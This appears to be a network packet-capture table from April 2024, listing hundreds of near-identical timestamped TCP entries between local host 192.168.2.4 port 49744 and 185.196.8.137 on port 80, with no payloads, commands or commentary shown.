Apr 9, 2024 14:54:08.163258076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163258076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163311958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163311958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163364887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163364887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163403034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163403034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163450003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163450003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163489103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163489103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163532019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163532019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163569927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163569927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163616896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163616896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163657904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163657904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163697004 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163726091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163726091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163783073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163783073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163820982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163820982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163870096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163870096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163903952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163903952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163952112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163952112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163995981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.163995981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164041996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164041996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164081097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164081097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164127111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164127111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164164066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164164066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164223909 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164223909 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164261103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164261103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164307117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164307117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164346933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164346933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164393902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164393902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164431095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164431095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164475918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164475918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164514065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164514065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164561033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164561033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164599895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164599895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164647102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164647102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164680958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164814949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164855957 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164855957 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164920092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164920092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164954901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164954901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.164993048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165024042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165024042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165266991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165266991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165307045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165307045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165361881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165361881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165401936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165401936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165446997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165446997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165499926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165499926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165556908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165556908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165594101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165594101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165641069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165641069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165683031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165683031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165735006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165735006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165774107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165774107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165817022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165817976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165854931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165854931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165899038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165899038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165946960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165946960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165990114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.165990114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166035891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166035891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166161060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166161060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166198969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166198969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166235924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166270018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166270018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.166337013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173146009 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173193932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173193932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173340082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173389912 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173389912 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173477888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173477888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173595905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173638105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173638105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173670053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173670053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173712969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173712969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173752069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173752069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173794031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173794031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173841000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173841000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173887968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173887968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173928976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173928976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173965931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.173965931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174005985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174005985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174052000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174052000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174094915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174094915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174141884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174143076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174181938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174181938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174220085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174220085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174258947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174258947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174295902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174295902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174335003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174335003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174376011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174376011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174418926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174418926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174463034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174463034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174503088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174503088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174544096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174544096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174582958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174582958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174622059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174622059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174662113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174662113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174702883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174702883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174741983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174741983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174781084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174781084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174823999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174823999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174870014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174870014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174915075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174915075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174957991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.174957991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175023079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175023079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175040007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175040007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175103903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175103903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175129890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175129890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175173044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175173044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175210953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175210953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175251961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175251961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175326109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175326109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175384045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175384045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175384045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175384045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175426960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175426960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175467968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175467968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175498962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175498962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175534964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175534964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175584078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175584078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175647020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175647020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175647020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175688028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175728083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175766945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175863028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175863028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175895929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175895929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.175928116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176059961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176095009 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176120043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176120043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176181078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176251888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176251888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176347971 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176362991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176390886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176620960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176631927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176632881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176685095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176685095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176723003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176723003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176767111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176767111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176843882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176843882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176892042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176892042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.176996946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177031040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177031040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177151918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177171946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177213907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177213907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177293062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177293062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177318096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177454948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177467108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177525043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177573919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177573919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177615881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177615881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177654982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177654982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177716970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177716970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177815914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177870035 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177870035 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177908897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177908897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177953005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177953005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177994013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.177994013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178034067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178034067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178072929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178072929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178117037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178117037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178162098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178162098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178196907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178196907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178235054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178236008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178276062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178276062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178318024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178318024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178354979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178354979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178406000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178406000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178440094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178440094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178471088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178471088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178517103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178517103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178556919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178558111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178602934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178602934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178643942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178643942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178679943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178679943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178719997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178719997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178755045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178755999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178797007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178797007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178831100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178831100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178883076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178883076 CEST	49744	80	192.168.2.4	185.196.8.137
